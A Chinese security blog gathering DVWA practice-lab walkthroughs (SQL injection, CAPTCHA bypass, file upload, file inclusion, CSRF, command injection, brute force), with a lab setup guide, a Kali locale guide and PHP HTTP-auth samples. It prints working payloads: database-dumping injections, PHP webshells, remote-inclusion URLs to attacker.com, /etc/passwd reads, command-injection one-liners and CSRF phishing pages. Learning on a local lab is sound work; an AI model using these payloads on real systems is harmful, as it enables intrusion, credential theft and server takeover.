l1n6yun's Blog

记录学习的技能和遇到的问题

漏洞简介

SQL 注入,老牌漏洞之王了。简单说就是把恶意 SQL 语句塞到用户输入里,让数据库帮你执行。能读数据、改数据、删数据,运气好还能拿 shell。

这关主要学怎么通过 SQL 注入把数据库里的敏感信息拖出来。

注入类型

类型 说明
联合注入 用 UNION 合并查询结果
报错注入 从报错信息里拿数据
盲注 没回显,靠条件判断
时间盲注 靠响应时间判断

Low 级别

看代码:

1
2
$id = $_REQUEST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

用户输入直接拼进 SQL 语句,经典的注入点。

攻击过程

第一步:测注入点

输入个单引号 1',看反应:

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

报错了,确认有注入点。

第二步:数字段

order by 测试:

1
2
3
1' order by 1#   正常
1' order by 2# 正常
1' order by 3# 报错

说明查了 2 个字段。

第三步:找回显位置

1
-1' union select 1,2#

upload successful

两个位置都能回显。

第四步:查数据库

1
-1' union select 1,database()#

upload successful

数据库名是 dvwa

第五步:查表

1
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

upload successful

有两个表:guestbookusers

第六步:查字段

1
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

upload successful

字段挺多,关键是 userpassword

第七步:拖库

1
-1' union select user,password from users#

upload successful

拿到用户名和密码了,密码是 MD5 加密的。

第八步:破密码

找个 MD5 解密网站:

1
5f4dcc3b5aa765d61d8327deb882cf99 -> password

upload successful

搞定。

Medium 级别

Medium 用了 mysql_real_escape_string() 转义:

1
2
3
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

单引号双引号都被转义了,但注意看 SQL 语句,$id 没有用引号包起来,是数字型注入。

攻击方法

因为是 POST 提交,得用 Burp 抓包改。

判断字段:

1
id=-1 order by 2#

联合注入:

1
id=-1 union select 1,database()#

绕过单引号过滤:

查字段名的时候要用 table_name='users',但单引号被转义了。用十六进制绕过:

1
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

0x7573657273 就是 users 的十六进制。

High 级别

High 级别从 session 取参数,还在另一个页面显示结果:

1
2
$id = $_SESSION[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

加了个 LIMIT 1,以为能限制结果数量?注释掉不就行了。

攻击方法

直接注入,用 # 注释掉后面的 LIMIT 1

1
-1' union select user,password from users#

照样拖库。

Impossible 级别

Impossible 级别用了 PDO 预处理:

1
2
3
4
5
6
7
8
9
$id = $_GET[ 'id' ];
$id = stripslashes( $id );
$id = mysql_real_escape_string( $id );

if( is_numeric( $id ) ) {
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
}

SQL 和参数分离,预处理之后参数不会被当成 SQL 执行,这才是正确的姿势。

常用 Payload 速查

Payload 用途
' 测注入点
1' or '1'='1 永真
1' order by n# 数字段
-1' union select 1,database()# 查库名
-1' union select 1,version()# 查版本
-1' union select 1,user()# 查用户
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 查表
-1' union select 1,load_file('/etc/passwd')# 读文件

小结

SQL 注入防护要点:

  1. 用预处理语句,别拼接 SQL
  2. 输入要验证,数字就验证是不是数字
  3. 错误信息别暴露太详细
  4. 数据库用户权限给最小够用的
  5. 密码加密存储

漏洞简介

验证码这东西,本来是用来区分人和机器的。但如果验证码机制写得有问题,那跟没有也差不多,暴力破解、批量注册什么的照样搞。

这关主要学怎么绕过不安全的验证码。

验证码类型

先了解下常见的验证码:

类型 说明
图形验证码 识别图片里的字符
短信验证码 手机收验证码
邮箱验证码 邮箱收验证码
滑动验证码 拖滑块到指定位置
点击验证码 按顺序点文字

Low 级别

Low 级别用的是 reCAPTCHA,但验证逻辑有问题:

1
2
3
4
5
6
7
8
9
10
11
if( isset( $_POST[ 'Change' ] ) ) {
$hide = $_POST[ 'step' ];
if( $hide == '1' ) {
// 第一步:输入验证码
}
elseif( $hide == '2' ) {
// 第二步:直接改密码,不验证验证码
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
}
}

流程分两步,但第二步根本不检查验证码,直接跳到第二步就行了。

绕过方法

  1. 抓包拦截改密码请求
  2. step=1 改成 step=2
  3. 删掉验证码相关参数
1
step=2&password_new=hacked&password_conf=hacked&Change=Change
  1. 发送,密码改完了

验证码成了摆设。

Medium 级别

Medium 级别在第二步检查了 passed_captcha 参数:

1
2
3
if( $hide == '2' && $_POST[ 'passed_captcha' ] == 'true' ) {
// 改密码
}

但问题是这参数是客户端传过来的,想传啥都行。

绕过方法

  1. 抓包
  2. 加个 passed_captcha=true 参数
1
step=2&passed_captcha=true&password_new=hacked&password_conf=hacked&Change=Change
  1. 发送,又绕过去了

客户端传来的东西哪能信啊。

High 级别

High 级别用 reCAPTCHA API 验证:

1
2
3
4
5
6
7
8
9
10
11
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]
);

if( !$resp->is_valid ) {
// 验证码错误
} else {
// 通过,改密码
}

这个真去调 Google API 验证了,不太好搞。

绕过方法

禁用 JavaScript:

有些验证码依赖前端 JS,禁用浏览器 JS 可能就失效了。

重放攻击:

如果验证码没做一次性使用,抓到验证成功的请求可以重复用。

伪造响应:

如果能拦截 API 响应,可以改成验证成功。

不过说实话,到 High 级别再绕已经比较难了,正常情况下不太现实。

Impossible 级别

Impossible 级别是正确做法:

1
2
3
4
5
6
7
8
9
10
11
12
13
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]
);

if( !$resp->is_valid ) {
dvwaMessagePush( "reCAPTCHA incorrect" );
log_event( "CAPTCHA failed for user: " . dvwaCurrentUser() );
exit;
}

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

服务端验证,还加了 CSRF Token,验证失败还记日志。这才是正经的验证码实现。

常见绕过方式

绕过方式 说明
参数篡改 改验证相关参数
流程跳过 直接跳过验证步骤
重放攻击 验证成功的请求重复用
禁用 JS 有些前端验证能绕
打码平台 人工识别
OCR 识别 自动识别简单验证码

小结

验证码防护要点:

  1. 一定要在服务端验证,客户端的东西都不能信
  2. 验证码用完就失效,别让人重复用
  3. 设个有效期,过期作废
  4. 错误太多次就锁定
  5. 用成熟的方案,别自己瞎写

漏洞简介

文件上传漏洞,简单说就是能上传不该上传的东西,比如 WebShell。一旦传上去个 PHP 木马,服务器基本就归你了。这玩意危害是真的大。

这关主要学怎么绕过各种上传限制,拿到 WebShell。

常用 WebShell

先准备几个常用的:

1
<?php @eval($_POST['cmd']); ?>
1
<?php system($_GET['cmd']); ?>

简单粗暴,一个参数接收命令就完事。

Low 级别

看代码:

1
2
3
4
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
if( move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// 上传成功
}

啥检查都没有,直接保存,爱传啥传啥。

攻击方法

  1. 写个 shell.php,内容 <?php @eval($_POST['cmd']); ?>
  2. 直接上传
  3. 访问 http://localhost:3892/hackable/uploads/shell.php
  4. 拿蚁剑或者菜刀连上去,服务器就是你的了

太简单了,没啥好说的。

Medium 级别

Medium 检查了 Content-Type 和文件大小:

1
2
3
4
5
6
7
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// 允许上传
}

只检查请求头里的 Content-Type,这玩意前端改不了但抓包工具能改。

绕过方法

改 Content-Type:

  1. 上传 shell.php,Burp 抓包
  2. Content-Type: application/octet-stream 改成 Content-Type: image/jpeg

upload successful

  1. 放行,上传成功

upload successful

图片马:

也可以做个图片马,把 PHP 代码塞图片里:

1
copy normal.jpg/b + shell.php/a webshell.jpg

或者直接追加:

1
echo "<?php @eval($_POST['cmd']); ?>" >> image.jpg

不过图片马需要配合文件包含漏洞才能执行,后面会说。

High 级别

High 级别检查后缀和图片特征了:

1
2
3
4
5
6
7
8
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);

if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" ||
strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// 允许上传
}

检查了:

  1. 后缀必须是 jpg、jpeg、png
  2. 文件要小于 100KB
  3. getimagesize() 验证是不是真图片

绕过方法

单纯改后缀和 Content-Type 不行了,得做图片马配合文件包含。

步骤 1:做图片马

1
copy logo.png/b + shell.php/a webshell.png

这样图片里就包含 PHP 代码了。

步骤 2:上传

上传 webshell.png,因为是真的图片,能过 getimagesize() 检查。

步骤 3:文件包含执行

图片本身不会执行 PHP,得用文件包含漏洞:

1
http://localhost:3892/vulnerabilities/fi/?page=../../hackable/uploads/webshell.png

步骤 4:蚁剑连接

URL 填文件包含的地址,就能连上 WebShell 了。

Impossible 级别

Impossible 级别是真安全:

1
2
3
4
5
6
7
$target_file   = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
if( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) {
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
}

图片会用 GD 库重新生成一遍,里面夹带的恶意代码全都没了。文件名还是随机 MD5,想猜都猜不到。

常见绕过方式总结

绕过方式 说明
改 Content-Type 抓包改 MIME 类型
双写后缀 shell.php.php
大小写混淆 shell.PhP
特殊后缀 .php5.phtml
空字节截断 shell.php%00.jpg(老版本 PHP)
图片马 配合文件包含
.htaccess 让服务器把图片当 PHP 执行
条件竞争 上传后赶在删除前访问

小结

文件上传防护要点:

  1. 白名单限制后缀,别用黑名单
  2. 检查文件真实类型,别只看 Content-Type
  3. 图片最好重绘一遍,去恶意代码
  4. 文件名随机化,别保留原名
  5. 上传目录禁止执行脚本

漏洞简介

文件包含漏洞,顾名思义就是用户输入被拿去包含了不该包含的文件。分两种:

  • LFI(本地文件包含):只能读服务器本地的文件
  • RFI(远程文件包含):能包含远程服务器上的文件,危害更大

这关主要学怎么利用这个漏洞读敏感文件和执行恶意代码。

Low 级别

看代码:

1
2
$file = $_GET[ 'page' ];
include( $file );

用户输入直接丢给 include(),一点过滤都没有,想包含啥都行。

本地文件包含(LFI)

读一下 /etc/passwd

1
?page=/etc/passwd

或者用相对路径跳目录:

1
?page=../../../../../etc/passwd

还能读 Apache 配置:

1
?page=/etc/apache2/apache2.conf

PHP 配置文件:

1
?page=/etc/php/7.4/apache2/php.ini

远程文件包含(RFI)

如果 PHP 配置了 allow_url_include = On,那就能包含远程文件:

1
?page=http://attacker.com/shell.txt

直接把远程的恶意代码包含进来执行,想想就刺激。

配合文件上传

如果还有文件上传漏洞,可以上传一个含恶意代码的图片,然后用文件包含去执行:

1
?page=../../hackable/uploads/malicious.jpg

Medium 级别

Medium 开始过滤了:

1
$file = str_replace( array( "http://", "https://", "../", "..\\" ), "", $file );

过滤了 http://https://../..\,但是用 str_replace 这种方式很容易绕。

绕过方法

双写绕过目录遍历:

1
?page=....//....//....//....//etc/passwd

过滤完 ../ 之后,剩下的 ../ 就拼出来了。

双写绕过远程包含:

1
?page=hthttp://tp://attacker.com/shell.txt

过滤完 http:// 就变成了 http://attacker.com/shell.txt

用其他协议:

1
?page=ftp://attacker.com/shell.txt

PHP 伪协议:

1
?page=php://filter/read=convert.base64-encode/resource=/etc/passwd

这个还能把文件内容 base64 编码输出,读源码很好用。

High 级别

High 级别限制了文件名必须以 file 开头:

1
2
3
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// 拒绝访问
}

但是 file:// 协议也符合这个条件啊。

绕过方法

file:// 协议:

1
?page=file:///etc/passwd

虽然限制了文件名格式,但 file:// 协议能读任意本地文件,过滤了个寂寞。

Impossible 级别

Impossible 级别用了白名单:

1
2
3
4
5
6
$file = $_GET[ 'page' ];
$allowed_files = array( 'file1.php', 'file2.php', 'file3.php' );
if( !in_array( $file, $allowed_files ) ) {
$file = 'include.php';
}
include( $file );

只有在白名单里的文件才能包含,这才是正确的做法。

常用 Payload 速查

Payload 用途
?page=/etc/passwd 读 Linux 用户文件
?page=../../../../../etc/passwd 目录遍历
?page=php://filter/read=convert.base64-encode/resource=config.php 读 PHP 源码
?page=php://input 执行 POST 数据中的代码
?page=file:///etc/passwd file 协议读本地文件
?page=http://attacker.com/shell.txt 远程文件包含
?page=data://text/plain,<?php phpinfo();?> data 协议执行代码

小结

文件包含漏洞危害很大,防护要点:

  1. 用白名单限制可包含的文件
  2. 禁用远程文件包含 allow_url_include = Off
  3. open_basedir 限制 PHP 能访问的目录
  4. 过滤特殊字符虽然有用,但不如白名单靠谱

漏洞简介

CSRF,全称 Cross-Site Request Forgery,跨站请求伪造。简单说就是攻击者伪造一个请求,诱导已经登录的用户去点,然后用户不知不觉就帮攻击者干了一些事,比如改密码、转账之类的。

原理就是浏览器会自动带上 Cookie,所以只要用户登录了,请求发出去就带着身份信息,服务器分辨不出这是不是用户真的想做的操作。

这关的目标是通过 CSRF 修改用户密码。

Low 级别

看代码:

1
2
3
4
5
6
7
$pass_new  = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

if( $pass_new == $pass_conf ) {
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );
}

GET 请求直接改密码,啥防护都没有。

攻击方法

正常改密码的请求长这样:

1
http://localhost:3892/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

那我伪造一个:

1
http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#

做个钓鱼页面:

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<head>
<title>恭喜您中奖了</title>
</head>
<body>
<h1>恭喜您获得一等奖!</h1>
<img src="http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#" style="display:none;">
<p>请点击下方按钮领取奖品</p>
</body>
</html>

用户访问这个页面的瞬间,img 标签就会发送请求,密码就被改成 hacked 了。用户完全不知道发生了什么。

试一下用新密码登录,成功!

Medium 级别

Medium 加了 Referer 检验:

1
2
3
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// 允许修改密码
}

它检查请求头里的 Referer 是否包含服务器域名,比如 localhost

绕过方法

问题在于它只是检查包含,那我把我钓鱼页面的路径里加上 localhost 不就行了?

比如文件名叫 localhost.html,或者放在 localhost 目录下。这样 Referer 里就会有 localhost 这个字符串,校验就过了。

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<img src="http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#" style="display:none;">
<h1>页面加载中...</h1>
</body>
</html>

这验证写得也太随意了。

High 级别

High 加了 CSRF Token:

1
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

每次请求都要带个有效 Token,攻击者不知道 Token 就没法伪造请求了。

攻击方法

单纯的 CSRF 搞不定了,得配合 XSS 才行。如果有 XSS 漏洞,就能用 JavaScript 去获取页面里的 Token:

1
var token = document.getElementsByName('user_token')[0].value;

然后构造攻击页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:3892/vulnerabilities/csrf/", false);
xhr.send();
var response = xhr.responseText;
var token = response.match(/user_token'\s*value='([^']+)'/)[1];

var attackUrl = "http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=" + token;
var attackXhr = new XMLHttpRequest();
attackXhr.open("GET", attackUrl, false);
attackXhr.send();
</script>
</body>
</html>

不过这个受同源策略限制,实际场景得看具体情况,这里主要是演示思路。

Impossible 级别

Impossible 级别是真安全:

1
2
3
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

改用 POST 了,还强制验证 Token,密码强度也有要求。这才是正确的防护姿势。

小结

CSRF 防护要点:

  1. 敏感操作一定要用 CSRF Token
  2. 尽量用 POST,别用 GET
  3. Cookie 设置 SameSite 属性
  4. 重要操作要求二次确认
  5. Referer 校验可以加,但别只指望它

漏洞简介

命令注入这玩意,简单说就是用户输入的东西被当成系统命令执行了。比如一个 ping 功能,输入 IP 就能 ping,但如果没过滤好,输入个 127.0.0.1;ls 就能把 ls 也执行了,这就叫命令注入。

这关主要就是学怎么利用这个漏洞拿到服务器信息。

常用连接符

先记几个常用的命令连接符:

连接符 作用
; Linux 专用,前后命令都执行
&& 前面的成功了才执行后面的
|| 前面的失败了才执行后面的
| 管道,前面输出给后面
& Linux 后台运行,Windows 也能当连接符用

Low 级别

看源码:

1
2
$target = $_REQUEST[ 'ip' ];
$cmd = shell_exec( 'ping -c 4 ' . $target );

用户输入直接拼进命令执行了,一点过滤都没有,想执行啥都行。

测试一下

输入 127.0.0.1;ls

1
2
3
4
5
6
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.023 ms
...
help
index.php
source

看到最后多出来几个文件名了吧,ls 命令执行成功了。

换个姿势,127.0.0.1&&whoami

1
2
...
www-data

当前用户是 www-data。

再看个狠的,127.0.0.1|cat /etc/passwd

1
2
3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

直接把 passwd 文件读出来了。

还可以看看系统信息 127.0.0.1;uname -a

1
2
...
Linux 5aaff548a97b 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 x86_64 GNU/Linux

这信息泄露够多的。

Medium 级别

Medium 开始过滤了:

1
2
3
4
5
6
$substitutions = array(
'&&' => '',
';' => '',
);

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

过滤了 &&;,但是漏了 |||& 这些。

绕过方法

|| 的话,前面的命令得失败才能执行后面的,所以可以这样:

1
127.0.0.1||ls

或者直接用管道符:

1
127.0.0.1|whoami

管道符最香,因为它只输出后面命令的结果,干净利落。

High 级别

High 级别过滤得更狠:

1
2
3
4
5
6
7
8
9
10
11
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

看起来过滤了 | ||,但仔细看,| 过滤的是管道符加空格,也就是说管道符后面不带空格就没事。

绕过

直接用管道符不加空格:

1
127.0.0.1|ls

或者:

1
127.0.0.1|whoami

又绕过去了。这过滤写得还是不够严谨。

Impossible 级别

Impossible 级别是真正的安全写法:

1
2
3
4
5
6
7
8
$target = stripslashes( $target );
$octet = explode( ".", $target );

if( is_numeric( $octet[0] ) && is_numeric( $octet[1] ) && is_numeric( $octet[2] ) && is_numeric( $octet[3] )
&& ( $octet[0] < 256 ) && ( $octet[1] < 256 ) && ( $octet[2] < 256 ) && ( $octet[3] < 256 ) ) {
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// 执行 ping
}

把输入按 . 分成四段,每段必须是数字而且要在 0-255 之间,这才能通过验证。这才是 IP 地址应该有的校验方式,从根本上杜绝了命令注入。

小结

命令注入危害挺大的,防护的话:

  1. 能不用系统命令就别用,语言自带函数能解决大部分问题
  2. 实在要用就得做好输入校验,用白名单
  3. escapeshellarg() 这类函数转义参数
  4. Web 服务尽量用低权限账户跑

漏洞简介

Brute Force,说白了就是暴力破解。拿一堆账号密码挨个试,总有一个能蒙对的。虽然听着挺 low 的,但说实话很多系统还是会被这种方式攻破,尤其是那些密码设得简单的。

这关主要用 Burp Suite 来搞,算是入门必备工具了。

Low 级别

先看源码:

1
$getid  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

好家伙,直接拼 SQL,连注入带爆破都能搞。

方法一:SQL 注入直接绕过

既然有注入,那还爆什么破,直接绕登录:

用户名填 admin'# 或者 admin' or '1'='1'#,密码随便填,直接进。

登录成功

方法二:Burp Suite 暴力破解

想练手 Burp Suite 的话,还是走爆破路线。

第一步:抓包

打开 DVWA 的 Brute Force 页面,随便输个账号密码,点登录。Burp 会把请求拦下来,右键选 Send to Intruder

upload successful

第二步:设置攻击点

进 Intruder -> Positions,把预设的标记都清掉,然后选中用户名和密码这两个值,点 Add § 加标记:

1
username=§admin§&password=§123456§&Login=Login

upload successful

第三步:配置字典

切到 Payloads 选项卡:

Payload set 1 填几个常见用户名:adminadministratorroottest

upload successful

Payload set 2 填密码,可以自己写几个常用的,也可以加载字典文件。

upload successful

第四步:开跑

点 Start attack,等着就行。看 Length 这一列,响应长度不一样的那个就是成功了。

upload successful

跑出来用户名 admin,密码 password

Medium 级别

Medium 级别加了个 mysql_real_escape_string() 转义特殊字符,还有个 sleep(2) 延迟:

1
2
$user = mysql_real_escape_string($user);
$pass = mysql_real_escape_string($pass);

注入是没法注入了,但爆破还是能爆,就是慢了点,每次都要等 2 秒。耐心点就行,反正又不是手工试。

High 级别

High 级别加了 CSRF Token,每次请求都要带上有效的 user_token

1
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

这就麻烦了,普通的 Intruder 模式没法用,因为每次都要先获取新的 Token。

绕过方法

用 Burp 的 Pitchfork 模式配合 Recursive grep

第一步:设置攻击类型

攻击类型选 Pitchfork,标记密码和 token:

1
username=admin&password=§123456§&Login=Login&user_token=§token_here§

upload successful

第二步:配置提取 Token

在 Options -> Grep - Extract 里添加规则,从响应里提取 user_token 的值。

upload successful

第三步:设置重定向

把 Follow redirections 改成 Always。

upload successful

第四步:配置 Payload

第一个 Payload 用密码字典。

第二个 Payload 类型选 Recursive grep,从上一个响应里提取 Token。

upload successful

第五步:开跑

点开始,观察结果,找到对的密码。

upload successful

Impossible 级别

Impossible 级别是真没法爆了:

1
2
3
4
5
6
$total_failed_login = $row[ 'total_failed_login' ];
$lock_time = strtotime( $row[ "last_login" ] ) + (15 * 60);

if( $total_failed_login >= 3 && strtotime( $row[ "last_login" ] ) > $lock_time ) {
// 账户被锁定
}

连续失败 3 次就锁 15 分钟,这就没法玩了。加上还有 CSRF Token、PDO 预处理、密码加密存储,这才是正确的安全姿势。

小结

暴力破解虽然听着土,但真挺有效的,尤其是那种密码设得简单还没防护的系统。做防护的话,记住几点:

  • 限制登录次数,失败几次就锁定
  • 加验证码
  • 强制强密码
  • 最好上个双因素认证

前言

最近在学 Web 安全,发现 DVWA 这个靶场挺适合练手的。DVWA 全称是 Damn Vulnerable Web Application,说白了就是一个故意写满漏洞的 PHP 网站,专门用来让我们学习怎么发现和利用漏洞。

不过有一点要注意,这玩意漏洞太多了,千万别部署到公网上去,我就放在本地的 Docker 里跑,安全第一。

安装步骤

1. 拉取镜像

既然用 Docker,那就简单了,先拉个镜像:

1
docker pull vulnerables/web-dvwa

等几分钟就能拉下来。

2. 启动容器

然后跑起来:

1
docker run -d -p 3892:80 vulnerables/web-dvwa

这里 -d 是后台运行,-p 3892:80 把容器里的 80 端口映射到本机的 3892 端口。端口随便改,只要没被占用就行。

3. 访问测试

打开浏览器访问 http://localhost:3892,应该能看到 DVWA 的界面了。

upload successful

4. 登录

默认账号密码:

  • 用户名:admin
  • 密码:password

登录进去就可以开始玩了。

安全级别说明

DVWA 有四个安全级别,在左边菜单可以切换:

级别 难度
Low 最简单,基本没防护,适合入门
Medium 有一点防护,但能绕过
High 防护比较强,需要点技巧
Impossible 安全编码的示范,基本没法攻破

建议从 Low 开始,一步步往上学,最后看看 Impossible 级别的代码是怎么写的,这才是正确的学习姿势。

后续计划

DVWA 有挺多漏洞模块的,后面我会一个个写通关教程:

  • Brute Force(暴力破解)
  • Command Injection(命令注入)
  • CSRF(跨站请求伪造)
  • File Inclusion(文件包含)
  • File Upload(文件上传)
  • Insecure CAPTCHA(不安全的验证码)
  • SQL Injection(SQL 注入)
  • SQL Injection Blind(盲注)
  • Weak Session IDs(弱会话 ID)
  • XSS DOM(DOM 型 XSS)
  • XSS Reflected(反射型 XSS)
  • XSS Stored(存储型 XSS)
  • CSP Bypass(内容安全策略绕过)
  • JavaScript(JavaScript 攻击)

先装好环境,下一篇开始讲暴力破解。

  1. 在 Kali 的桌面按下 Ctrl+Alt+T 打开终端

  2. 使用 root 权限执行 sudo dpkg-reconfigure locales
    upload successful

  3. 选中 en_US.UTF-8 UTF-8zh_CN.UTF-8 UTF-8 (注意:按下空格键选中,选好后按下TAB键退出编码格式选项,跳到OK选项)
    upload successful

  4. 选择 zh_CN.UTF-8,选择OK
    upload successful

  5. 在终端键入reboot, 重启Kali
    upload successful

  6. 重启Kali后, 建议选择保留旧的名称
    upload successful

  7. 此时可以看到界面已经汉化完成了!
    upload successful

Example #1 Basic HTTP 认证范例

1
2
3
4
5
6
7
8
9
10
11
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
}
?>

Example #2 Digest HTTP 认证范例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
$realm = 'Restricted area';

//user => password
$users = array('admin' => 'mypass', 'guest' => 'guest');


if (empty($_SERVER['PHP_AUTH_DIGEST'])) {
header('HTTP/1.1 401 Unauthorized');
header('WWW-Authenticate: Digest realm="'.$realm.
'",qop="auth",nonce="'.uniqid().'",opaque="'.md5($realm).'"');

die('Text to send if user hits Cancel button');
}


// analyze the PHP_AUTH_DIGEST variable
if (!($data = http_digest_parse($_SERVER['PHP_AUTH_DIGEST'])) ||
!isset($users[$data['username']]))
die('Wrong Credentials!');


// generate the valid response
$A1 = md5($data['username'] . ':' . $realm . ':' . $users[$data['username']]);
$A2 = md5($_SERVER['REQUEST_METHOD'].':'.$data['uri']);
$valid_response = md5($A1.':'.$data['nonce'].':'.$data['nc'].':'.$data['cnonce'].':'.$data['qop'].':'.$A2);

if ($data['response'] != $valid_response)
die('Wrong Credentials!');

// ok, valid username & password
echo 'You are logged in as: ' . $data['username'];


// function to parse the http auth header
function http_digest_parse($txt)
{
// protect against missing data
$needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
$data = array();
$keys = implode('|', array_keys($needed_parts));

preg_match_all('@(' . $keys . ')=(?:([\'"])([^\2]+?)\2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

foreach ($matches as $m) {
$data[$m[1]] = $m[3] ? $m[3] : $m[4];
unset($needed_parts[$m[1]]);
}

return $needed_parts ? false : $data;
}
?>

Example #3 强迫重新输入用户名和密码的 HTTP 认证的范例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function authenticate() {
header('WWW-Authenticate: Basic realm="Test Authentication System"');
header('HTTP/1.0 401 Unauthorized');
echo "You must enter a valid login ID and password to access this resource\n";
exit;
}

if (!isset($_SERVER['PHP_AUTH_USER']) ||
($_POST['SeenBefore'] == 1 && $_POST['OldAuth'] == $_SERVER['PHP_AUTH_USER'])) {
authenticate();
}
else {
echo "<p>Welcome: {$_SERVER['PHP_AUTH_USER']}<br />";
echo "Old: {$_REQUEST['OldAuth']}";
echo "<form action='{$_SERVER['PHP_SELF']}' METHOD='post'>\n";
echo "<input type='hidden' name='SeenBefore' value='1' />\n";
echo "<input type='hidden' name='OldAuth' value='{$_SERVER['PHP_AUTH_USER']}' />\n";
echo "<input type='submit' value='Re Authenticate' />\n";
echo "</form></p>\n";
}
0%